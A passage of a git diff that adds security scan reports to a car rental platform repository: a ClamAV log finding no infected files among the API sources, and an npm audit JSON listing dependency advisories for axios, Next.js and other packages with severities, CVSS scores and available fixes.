+/scan/apps/api/src/lib/redis.ts: OK
+/scan/apps/api/src/lib/storage/.DS_Store: OK
+/scan/apps/api/src/lib/storage/.gitkeep: Empty file
+/scan/apps/api/src/lib/storage/companies/cmoyu36ii000112g8j5m84zgv/vehicles/1959e058bf32f7f672cbea6b7683f88b.jpg: OK
+/scan/apps/api/src/lib/storage/companies/cmoyu36ii000112g8j5m84zgv/vehicles/eae81e21ca0017a9d22eb92b64ff0c42.jpg: OK
+/scan/apps/api/src/lib/storage/companies/cmoyu36ii000112g8j5m84zgv/vehicles/d9b8c7164544f5d971a1ea09dba1ba38.jpg: OK
+/scan/apps/api/src/lib/storage/companies/cmpbosg0o0001bh8tc433zxt2/vehicles/c2c92f69332b855e21ffeb95229a4add.jpg: OK
+/scan/apps/api/src/lib/storage/companies/cmp1s6doc0003wims028due25/brand/logo.jpg: OK
+/scan/apps/api/src/lib/storage/companies/cmp1s6doc0003wims028due25/vehicles/02d49acd5dfd85c60ee1758a14dbef07.jpg: OK
+/scan/apps/api/src/lib/emailTranslations.ts: OK
+/scan/apps/api/src/index.ts: OK
+/scan/apps/api/src/modules/customers/customer.schemas.ts: OK
+/scan/apps/api/src/modules/customers/customer.repo.ts: OK
+/scan/apps/api/src/modules/customers/customer.service.ts: OK
+/scan/apps/api/src/modules/customers/customer.test.ts: OK
+/scan/apps/api/src/modules/customers/customer.presenter.ts: OK
+/scan/apps/api/src/modules/customers/customer.routes.ts: OK
+/scan/apps/api/src/modules/offers/offer.routes.ts: OK
+/scan/apps/api/src/modules/offers/offer.repo.ts: OK
+/scan/apps/api/src/modules/offers/offer.service.ts: OK
+/scan/apps/api/src/modules/offers/offer.schemas.ts: OK
+/scan/apps/api/src/modules/payments/payment.routes.ts: OK
+/scan/apps/api/src/modules/payments/payment.repo.ts: OK
+/scan/apps/api/src/modules/payments/payment.service.ts: OK
+/scan/apps/api/src/modules/payments/payment.schemas.ts: OK
+/scan/apps/api/src/modules/complaints/complaint.schemas.ts: OK
+/scan/apps/api/src/modules/complaints/complaint.repo.ts: OK
+/scan/apps/api/src/modules/complaints/complaint.routes.ts: OK
+/scan/apps/api/src/modules/complaints/complaint.service.ts: OK
+/scan/apps/api/src/modules/auth/auth.renter.routes.ts: OK
+/scan/apps/api/src/modules/auth/auth.employee.routes.ts: OK
+/scan/apps/api/src/modules/auth/auth.company.schemas.ts: OK
+/scan/apps/api/src/modules/auth/auth.employee.service.test.ts: OK
+/scan/apps/api/src/modules/auth/auth.renter.schemas.ts: OK
+/scan/apps/api/src/modules/auth/auth.employee.service.ts: OK
+/scan/apps/api/src/modules/auth/auth.renter.repo.ts: OK
+/scan/apps/api/src/modules/auth/auth.company.repo.ts: OK
+/scan/apps/api/src/modules/auth/auth.presenter.ts: OK
+/scan/apps/api/src/modules/auth/auth.company.routes.ts: OK
+/scan/apps/api/src/modules/auth/auth.company.service.ts: OK
+/scan/apps/api/src/modules/auth/auth.employee.schemas.ts: OK
+/scan/apps/api/src/modules/auth/auth.renter.service.ts: OK
+/scan/apps/api/src/modules/auth/auth.employee.repo.test.ts: OK
+/scan/apps/api/src/modules/auth/auth.employee.repo.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.lifecycle.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.inspection.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.test.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.pricing.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.photo.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.schemas.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.insurance.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.presenter.test.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.presenter.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.document.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.routes.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.service.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.repo.ts: OK
+/scan/apps/api/src/modules/reservations/reservation.additional-driver.service.ts: OK
+/scan/apps/api/src/modules/marketplace/marketplace.presenter.ts: OK
+/scan/apps/api/src/modules/marketplace/marketplace.repo.ts: OK
+/scan/apps/api/src/modules/marketplace/marketplace.service.ts: OK
+/scan/apps/api/src/modules/marketplace/marketplace.test.ts: OK
+/scan/apps/api/src/modules/marketplace/marketplace.routes.ts: OK
+/scan/apps/api/src/modules/marketplace/marketplace.schemas.ts: OK
+/scan/apps/api/src/modules/admin/admin.schemas.ts: OK
+/scan/apps/api/src/modules/admin/admin.routes.ts: OK
+/scan/apps/api/src/modules/admin/admin.service.test.ts: OK
+/scan/apps/api/src/modules/admin/admin.service.ts: OK
+/scan/apps/api/src/modules/admin/admin.billing.service.ts: OK
+/scan/apps/api/src/modules/admin/admin.repo.test.ts: OK
+/scan/apps/api/src/modules/admin/admin.repo.ts: OK
+/scan/apps/api/src/modules/admin/admin.presenter.ts: OK
+/scan/apps/api/src/modules/subscriptions/subscription.service.ts: OK
+/scan/apps/api/src/modules/subscriptions/subscription.policy.ts: OK
+/scan/apps/api/src/modules/subscriptions/subscription.schemas.ts: OK
+/scan/apps/api/src/modules/subscriptions/subscription.repo.ts: OK
+/scan/apps/api/src/modules/subscriptions/subscription.entitlement.ts: OK
+/scan/apps/api/src/modules/subscriptions/subscription.routes.ts: OK
+/scan/apps/api/src/modules/team/team.schemas.ts: OK
+/scan/apps/api/src/modules/team/team.service.ts: OK
+/scan/apps/api/src/modules/team/team.routes.ts: OK
+/scan/apps/api/src/modules/menu/menu.service.test.ts: OK
+/scan/apps/api/src/modules/menu/menu.service.ts: OK
+/scan/apps/api/src/modules/site/site.presenter.ts: OK
+/scan/apps/api/src/modules/site/site.repo.ts: OK
+/scan/apps/api/src/modules/site/site.schemas.ts: OK
+/scan/apps/api/src/modules/site/site.service.ts: OK
+/scan/apps/api/src/modules/site/site.routes.ts: OK
+/scan/apps/api/src/modules/site/site.test.ts: OK
+/scan/apps/api/src/modules/vehicles/vehicle.repo.ts: OK
+/scan/apps/api/src/modules/vehicles/vehicle.service.ts: OK
+/scan/apps/api/src/modules/vehicles/vehicle.routes.ts: OK
+/scan/apps/api/src/modules/vehicles/vehicle.test.ts: OK
+/scan/apps/api/src/modules/vehicles/vehicle.presenter.ts: OK
+/scan/apps/api/src/modules/vehicles/vehicle.schemas.ts: OK
+/scan/apps/api/src/modules/webhooks/webhook.routes.ts: OK
+/scan/apps/api/src/modules/notifications/notification.repo.ts: OK
+/scan/apps/api/src/modules/notifications/notification.service.ts: OK
+/scan/apps/api/src/modules/notifications/notification.routes.ts: OK
+/scan/apps/api/src/modules/notifications/notification.schemas.ts: OK
+/scan/apps/api/src/modules/companies/company.presenter.ts: OK
+/scan/apps/api/src/modules/companies/company.repo.ts: OK
+/scan/apps/api/src/modules/companies/company.service.ts: OK
+/scan/apps/api/src/modules/companies/company.presenter.test.ts: OK
+/scan/apps/api/src/modules/companies/company.test.ts: OK
+/scan/apps/api/src/modules/companies/company.routes.ts: OK
+/scan/apps/api/src/modules/companies/company.schemas.ts: OK
+/scan/apps/api/src/modules/analytics/analytics.schemas.ts: OK
+/scan/apps/api/src/modules/analytics/analytics.service.ts: OK
+/scan/apps/api/src/modules/analytics/analytics.routes.ts: OK
+/scan/apps/api/src/modules/reviews/review.repo.ts: OK
+/scan/apps/api/src/modules/reviews/review.service.ts: OK
+/scan/apps/api/src/modules/reviews/review.schemas.ts: OK
+/scan/apps/api/src/modules/reviews/review.routes.ts: OK
+/scan/apps/api/src/data/platform-content.json: OK
+/scan/apps/api/src/services/notificationLocalizationService.test.ts: OK
+/scan/apps/api/src/services/containerService.ts: OK
+/scan/apps/api/src/services/licenseValidationService.ts: OK
+/scan/apps/api/src/services/invoicePdfService.ts: OK
+/scan/apps/api/src/services/pricingRuleService.ts: OK
+/scan/apps/api/src/services/notificationService.ts: OK
+/scan/apps/api/src/services/additionalDriverService.ts: OK
+/scan/apps/api/src/services/notificationLocalizationService.ts: OK
+/scan/apps/api/src/services/teamService.ts: OK
+/scan/apps/api/src/services/financialReportService.ts: OK
+/scan/apps/api/src/services/teamService.test.ts: OK
+/scan/apps/api/src/services/paypalService.ts: OK
+/scan/apps/api/src/services/insuranceService.ts: OK
+/scan/apps/api/src/services/platformContentService.ts: OK
+/scan/apps/api/src/services/amanpayService.ts: OK
+/scan/apps/api/src/services/vehicleAvailabilityService.ts: OK
+/scan/car_management_system.code-workspace: OK
+/scan/.jmo/history.db: OK
+
+----------- SCAN SUMMARY -----------
+Known viruses: 3627865
+Engine version: 1.4.3
+Scanned directories: 4596
+Scanned files: 37461
+Infected files: 0
+Data scanned: 1775.30 MB
+Data read: 901.48 MB (ratio 1.97:1)
+Time: 316.040 sec (5 m 16 s)
+Start Date: 2026:06:08 05:04:19
+End Date: 2026:06:08 05:09:35
diff --git a/security-reports/npm-audit.json b/security-reports/npm-audit.json
new file mode 100644
index 0000000..1587cf3
--- /dev/null
+++ b/security-reports/npm-audit.json
@@ -0,0 +1,1361 @@
+{
+ "auditReportVersion": 2,
+ "vulnerabilities": {
+ "@google-cloud/firestore": {
+ "name": "@google-cloud/firestore",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "google-gax"
+ ],
+ "effects": [
+ "firebase-admin"
+ ],
+ "range": "7.5.0-pre.0 || 7.6.0 - 7.11.6",
+ "nodes": [
+ "node_modules/@google-cloud/firestore"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "13.10.0",
+ "isSemVerMajor": true
+ }
+ },
+ "@google-cloud/storage": {
+ "name": "@google-cloud/storage",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "retry-request",
+ "teeny-request",
+ "uuid"
+ ],
+ "effects": [
+ "firebase-admin"
+ ],
+ "range": "2.2.0 - 2.5.0 || >=5.19.0",
+ "nodes": [
+ "node_modules/@google-cloud/storage"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "13.10.0",
+ "isSemVerMajor": true
+ }
+ },
+ "@tootallnate/once": {
+ "name": "@tootallnate/once",
+ "severity": "low",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119438,
+ "name": "@tootallnate/once",
+ "dependency": "@tootallnate/once",
+ "title": "@tootallnate/once vulnerable to Incorrect Control Flow Scoping",
+ "url": "https://github.com/advisories/GHSA-vpq2-c234-7xj6",
+ "severity": "low",
+ "cwe": [
+ "CWE-705"
+ ],
+ "cvss": {
+ "score": 3.3,
+ "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"
+ },
+ "range": "<2.0.1"
+ }
+ ],
+ "effects": [],
+ "range": "<2.0.1",
+ "nodes": [
+ "node_modules/@tootallnate/once"
+ ],
+ "fixAvailable": true
+ },
+ "axios": {
+ "name": "axios",
+ "severity": "high",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119667,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)",
+ "url": "https://github.com/advisories/GHSA-pjwm-pj3p-43mv",
+ "severity": "high",
+ "cwe": [
+ "CWE-918"
+ ],
+ "cvss": {
+ "score": 8.6,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
+ },
+ "range": ">=1.0.0 <1.16.0"
+ },
+ {
+ "source": 1119669,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions",
+ "url": "https://github.com/advisories/GHSA-898c-q2cr-xwhg",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-1321"
+ ],
+ "cvss": {
+ "score": 4.8,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"
+ },
+ "range": ">=1.0.0 <1.16.0"
+ },
+ {
+ "source": 1119670,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix",
+ "url": "https://github.com/advisories/GHSA-654m-c8p4-x5fp",
+ "severity": "low",
+ "cwe": [
+ "CWE-113",
+ "CWE-1321"
+ ],
+ "cvss": {
+ "score": 3.7,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
+ },
+ "range": "=1.15.2"
+ },
+ {
+ "source": 1119675,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`",
+ "url": "https://github.com/advisories/GHSA-35jp-ww65-95wh",
+ "severity": "high",
+ "cwe": [
+ "CWE-441",
+ "CWE-1321"
+ ],
+ "cvss": {
+ "score": 8.7,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"
+ },
+ "range": ">=1.0.0 <1.16.0"
+ },
+ {
+ "source": 1120073,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection",
+ "url": "https://github.com/advisories/GHSA-hfxv-24rg-xrqf",
+ "severity": "high",
+ "cwe": [
+ "CWE-400",
+ "CWE-1333"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=1.0.0 <1.16.0"
+ },
+ {
+ "source": 1120074,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "Allocation of Resources Without Limits or Throttling in Axios",
+ "url": "https://github.com/advisories/GHSA-777c-7fjr-54vf",
+ "severity": "high",
+ "cwe": [
+ "CWE-770"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=1.7.0 <1.16.0"
+ },
+ {
+ "source": 1120076,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter",
+ "url": "https://github.com/advisories/GHSA-p92q-9vqr-4j8v",
+ "severity": "high",
+ "cwe": [
+ "CWE-201"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": ">=1.0.0 <1.16.0"
+ },
+ {
+ "source": 1120078,
+ "name": "axios",
+ "dependency": "axios",
+ "title": "Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection",
+ "url": "https://github.com/advisories/GHSA-j5f8-grm9-p9fc",
+ "severity": "high",
+ "cwe": [
+ "CWE-200"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
+ },
+ "range": ">=1.0.0 <1.16.0"
+ }
+ ],
+ "effects": [],
+ "range": "1.0.0 - 1.15.2",
+ "nodes": [
+ "node_modules/axios"
+ ],
+ "fixAvailable": true
+ },
+ "engine.io": {
+ "name": "engine.io",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "ws"
+ ],
+ "effects": [],
+ "range": "0.7.8 - 0.7.9 || 6.0.0 - 6.6.7",
+ "nodes": [
+ "node_modules/engine.io"
+ ],
+ "fixAvailable": true
+ },
+ "engine.io-client": {
+ "name": "engine.io-client",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "ws"
+ ],
+ "effects": [],
+ "range": "0.7.0 || 0.7.8 - 0.7.9 || 6.0.0 - 6.6.4",
+ "nodes": [
+ "node_modules/engine.io-client"
+ ],
+ "fixAvailable": true
+ },
+ "esbuild": {
+ "name": "esbuild",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1102341,
+ "name": "esbuild",
+ "dependency": "esbuild",
+ "title": "esbuild enables any website to send any requests to the development server and read the response",
+ "url": "https://github.com/advisories/GHSA-67mh-4wv8-2f99",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-346"
+ ],
+ "cvss": {
+ "score": 5.3,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
+ },
+ "range": "<=0.24.2"
+ }
+ ],
+ "effects": [
+ "vite"
+ ],
+ "range": "<=0.24.2",
+ "nodes": [
+ "node_modules/esbuild"
+ ],
+ "fixAvailable": {
+ "name": "vitest",
+ "version": "4.1.8",
+ "isSemVerMajor": true
+ }
+ },
+ "express": {
+ "name": "express",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ "qs"
+ ],
+ "effects": [],
+ "range": "4.21.0 - 4.22.1 || 5.0.0-alpha.1 - 5.0.1",
+ "nodes": [
+ "node_modules/express"
+ ],
+ "fixAvailable": true
+ },
+ "fast-xml-builder": {
+ "name": "fast-xml-builder",
+ "severity": "high",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1118965,
+ "name": "fast-xml-builder",
+ "dependency": "fast-xml-builder",
+ "title": "fast-xml-builder allows attribute values with unwanted quotes to bypass malicious or unwanted attributes",
+ "url": "https://github.com/advisories/GHSA-5wm8-gmm8-39j9",
+ "severity": "high",
+ "cwe": [
+ "CWE-91",
+ "CWE-611"
+ ],
+ "cvss": {
+ "score": 6.1,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ },
+ "range": "<=1.1.6"
+ },
+ {
+ "source": 1118966,
+ "name": "fast-xml-builder",
+ "dependency": "fast-xml-builder",
+ "title": "fast-xml-builder Comment Value regex can be bypassed",
+ "url": "https://github.com/advisories/GHSA-45c6-75p6-83cc",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-91"
+ ],
+ "cvss": {
+ "score": 6.1,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ },
+ "range": "=1.1.5"
+ }
+ ],
+ "effects": [],
+ "range": "<=1.1.6",
+ "nodes": [
+ "node_modules/fast-xml-builder"
+ ],
+ "fixAvailable": true
+ },
+ "firebase-admin": {
+ "name": "firebase-admin",
+ "severity": "moderate",
+ "isDirect": true,
+ "via": [
+ "@google-cloud/firestore",
+ "@google-cloud/storage",
+ "uuid"
+ ],
+ "effects": [],
+ "range": ">=10.2.0",
+ "nodes": [
+ "node_modules/firebase-admin"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "13.10.0",
+ "isSemVerMajor": true
+ }
+ },
+ "gaxios": {
+ "name": "gaxios",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "uuid"
+ ],
+ "effects": [],
+ "range": "6.4.0 - 6.7.1",
+ "nodes": [
+ "node_modules/gaxios"
+ ],
+ "fixAvailable": true
+ },
+ "google-gax": {
+ "name": "google-gax",
+ "severity": "moderate",
+ "isDirect": false,
+ "via": [
+ "retry-request",
+ "uuid"
+ ],
+ "effects": [
+ "@google-cloud/firestore"
+ ],
+ "range": "4.0.5-experimental - 4.6.1",
+ "nodes": [
+ "node_modules/google-gax"
+ ],
+ "fixAvailable": {
+ "name": "firebase-admin",
+ "version": "13.10.0",
+ "isSemVerMajor": true
+ }
+ },
+ "js-cookie": {
+ "name": "js-cookie",
+ "severity": "high",
+ "isDirect": false,
+ "via": [
+ {
+ "source": 1119459,
+ "name": "js-cookie",
+ "dependency": "js-cookie",
+ "title": "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection",
+ "url": "https://github.com/advisories/GHSA-qjx8-664m-686j",
+ "severity": "high",
+ "cwe": [
+ "CWE-1321"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
+ },
+ "range": "<=3.0.5"
+ }
+ ],
+ "effects": [],
+ "range": "<=3.0.5",
+ "nodes": [
+ "node_modules/js-cookie"
+ ],
+ "fixAvailable": true
+ },
+ "next": {
+ "name": "next",
+ "severity": "critical",
+ "isDirect": true,
+ "via": [
+ {
+ "source": 1099638,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Cache Poisoning",
+ "url": "https://github.com/advisories/GHSA-gp8f-8m3g-qvj9",
+ "severity": "high",
+ "cwe": [
+ "CWE-349",
+ "CWE-639"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=14.0.0 <14.2.10"
+ },
+ {
+ "source": 1100421,
+ "name": "next",
+ "dependency": "next",
+ "title": "Denial of Service condition in Next.js image optimization",
+ "url": "https://github.com/advisories/GHSA-g77x-44xx-532m",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-674"
+ ],
+ "cvss": {
+ "score": 5.9,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=10.0.0 <14.2.7"
+ },
+ {
+ "source": 1101438,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Allows a Denial of Service (DoS) with Server Actions",
+ "url": "https://github.com/advisories/GHSA-7m27-7ghc-44w9",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-770"
+ ],
+ "cvss": {
+ "score": 5.3,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ },
+ "range": ">=14.0.0 <14.2.21"
+ },
+ {
+ "source": 1105461,
+ "name": "next",
+ "dependency": "next",
+ "title": "Information exposure in Next.js dev server due to lack of origin verification",
+ "url": "https://github.com/advisories/GHSA-3h52-269p-cp9r",
+ "severity": "low",
+ "cwe": [
+ "CWE-1385"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": ">=13.0 <14.2.30"
+ },
+ {
+ "source": 1107226,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Affected by Cache Key Confusion for Image Optimization API Routes",
+ "url": "https://github.com/advisories/GHSA-g5qg-72qw-gw5v",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-524"
+ ],
+ "cvss": {
+ "score": 6.2,
+ "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
+ },
+ "range": ">=0.9.9 <14.2.31"
+ },
+ {
+ "source": 1107420,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js authorization bypass vulnerability",
+ "url": "https://github.com/advisories/GHSA-7gfc-8cq8-jh5f",
+ "severity": "high",
+ "cwe": [
+ "CWE-285",
+ "CWE-863"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
+ },
+ "range": ">=9.5.5 <14.2.15"
+ },
+ {
+ "source": 1107512,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Improper Middleware Redirect Handling Leads to SSRF",
+ "url": "https://github.com/advisories/GHSA-4342-x723-ch2f",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-918"
+ ],
+ "cvss": {
+ "score": 6.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N"
+ },
+ "range": ">=0.9.9 <14.2.32"
+ },
+ {
+ "source": 1107513,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Content Injection Vulnerability for Image Optimization",
+ "url": "https://github.com/advisories/GHSA-xv57-4mr9-wg8v",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-20"
+ ],
+ "cvss": {
+ "score": 4.3,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"
+ },
+ "range": ">=0.9.9 <14.2.31"
+ },
+ {
+ "source": 1108291,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Race Condition to Cache Poisoning",
+ "url": "https://github.com/advisories/GHSA-qpjv-v59x-3qc4",
+ "severity": "low",
+ "cwe": [
+ "CWE-362"
+ ],
+ "cvss": {
+ "score": 3.7,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
+ },
+ "range": ">=0.9.9 <14.2.24"
+ },
+ {
+ "source": 1111391,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next Vulnerable to Denial of Service with Server Components",
+ "url": "https://github.com/advisories/GHSA-mwv6-3258-q52c",
+ "severity": "high",
+ "cwe": [
+ "CWE-400",
+ "CWE-502",
+ "CWE-1395"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=13.3.0 <14.2.34"
+ },
+ {
+ "source": 1112182,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up",
+ "url": "https://github.com/advisories/GHSA-5j59-xgg2-r9c4",
+ "severity": "high",
+ "cwe": [
+ "CWE-400",
+ "CWE-502",
+ "CWE-1395"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=13.3.1-canary.0 <14.2.35"
+ },
+ {
+ "source": 1112593,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js self-hosted applications vulnerable to DoS via Image Optimizer remotePatterns configuration",
+ "url": "https://github.com/advisories/GHSA-9g9p-9gw9-jx7f",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-400",
+ "CWE-770"
+ ],
+ "cvss": {
+ "score": 5.9,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=10.0.0 <15.5.10"
+ },
+ {
+ "source": 1112653,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components",
+ "url": "https://github.com/advisories/GHSA-h25m-26qc-wcjf",
+ "severity": "high",
+ "cwe": [
+ "CWE-400",
+ "CWE-502"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=13.0.0 <15.0.8"
+ },
+ {
+ "source": 1113689,
+ "name": "next",
+ "dependency": "next",
+ "title": "Authorization Bypass in Next.js Middleware",
+ "url": "https://github.com/advisories/GHSA-f82v-jwr5-mffw",
+ "severity": "critical",
+ "cwe": [
+ "CWE-285",
+ "CWE-863"
+ ],
+ "cvss": {
+ "score": 9.1,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
+ },
+ "range": ">=14.0.0 <14.2.25"
+ },
+ {
+ "source": 1114897,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js: HTTP request smuggling in rewrites",
+ "url": "https://github.com/advisories/GHSA-ggv3-7p47-pfv8",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-444"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": ">=9.5.0 <15.5.13"
+ },
+ {
+ "source": 1114940,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js: Unbounded next/image disk cache growth can exhaust storage",
+ "url": "https://github.com/advisories/GHSA-3x4c-7xq6-9pq8",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-400"
+ ],
+ "cvss": {
+ "score": 0,
+ "vectorString": null
+ },
+ "range": ">=10.0.0 <15.5.14"
+ },
+ {
+ "source": 1116376,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js has a Denial of Service with Server Components",
+ "url": "https://github.com/advisories/GHSA-q4gf-8mx6-v5v3",
+ "severity": "high",
+ "cwe": [
+ "CWE-770"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=13.0.0 <15.5.15"
+ },
+ {
+ "source": 1117931,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js Vulnerable to Denial of Service with Server Components",
+ "url": "https://github.com/advisories/GHSA-8h8q-6873-q5fj",
+ "severity": "high",
+ "cwe": [
+ "CWE-770"
+ ],
+ "cvss": {
+ "score": 7.5,
+ "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
+ "range": ">=13.0.0 <15.5.16"
+ },
+ {
+ "source": 1118942,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js's Middleware / Proxy redirects can be cache-poisoned",
+ "url": "https://github.com/advisories/GHSA-3g8h-86w9-wvmq",
+ "severity": "low",
+ "cwe": [
+ "CWE-349"
+ ],
+ "cvss": {
+ "score": 3.7,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ },
+ "range": ">=12.2.0 <15.5.16"
+ },
+ {
+ "source": 1118944,
+ "name": "next",
+ "dependency": "next",
+ "title": "Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces",
+ "url": "https://github.com/advisories/GHSA-ffhc-5mcf-pf4q",
+ "severity": "moderate",
+ "cwe": [
+ "CWE-79"
+ ],
+ "cvss": {
+ "score": 4.7,
+ "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ },
+ "range": ">=13.4.0 <15.5.16"
